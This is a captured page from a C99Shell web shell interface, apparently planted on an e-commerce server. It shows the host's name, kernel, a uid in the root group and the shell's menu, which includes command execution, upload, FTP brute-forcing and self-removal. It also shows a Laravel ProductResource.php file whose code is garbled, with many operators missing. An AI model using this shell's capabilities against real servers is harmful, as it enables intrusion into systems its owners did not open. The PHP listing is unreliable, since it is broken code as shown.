!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Http/Resources/Order/   drwxr-xr-x
Free 26.17 GB of 117.98 GB (22.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ProductResource.php (2.05 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Resources\Order;

use 
App\Models\Product;
use 
Illuminate\Http\Resources\Json\JsonResource;

class 
ProductResource extends JsonResource
{
    
/**
     * Transform the resource into an array.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return array
     */
    
public function toArray($request = [])
    {
        if (!
is_null(optional($this->product)->parent_id)) {
            
$product Product::select('id')->where('id'$this->product->parent_id)->first();
        } else {
            
$product Product::select('id')->where('id'$this->product_id)->first();
        }
        return [
            
'id' => $this->id,
            
'name' => $this->product_name,
            
'slug' => isset($this->product) && $this->product->isVariation() ? optional(optional($this->product)->parentDetail)->slug optional($this->product)->slug,
            
'product_id' => optional($this->product)->parent_id ?? $this->product_id,
            
'variation_id' => is_null(optional($this->product)->parent_id) ? $this->product_id,
            
'quantity' => (int) $this->quantity,
            
'is_delivered' => $this->is_delivery,
            
'tax_class' => null,
            
'price' => formatCurrencyAmount($this->price),
            
'sub_total' => formatCurrencyAmount($this->price $this->quantity),
            
'subtotal_tax' => formatCurrencyAmount($this->tax_charge),
            
'subtotal_shipping' => formatCurrencyAmount($this->shipping_charge),
            
'total' => formatCurrencyAmount($this->price $this->quantity $this->tax_charge $this->shipping_charge $this->discount_amount),
            
'variations' => json_decode($this->payloads),
            
'category' => optional($product->category)->first()->name,
            
'taxes' => [],
            
'refunds' => RefundResource::collection($this->refunds),
            
'vendor' => new VendorResource($this->vendor),
            
'sku' => optional($this->product)->sku,
            
'estimate_delivery' => $this->estimate_delivery,
        ];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--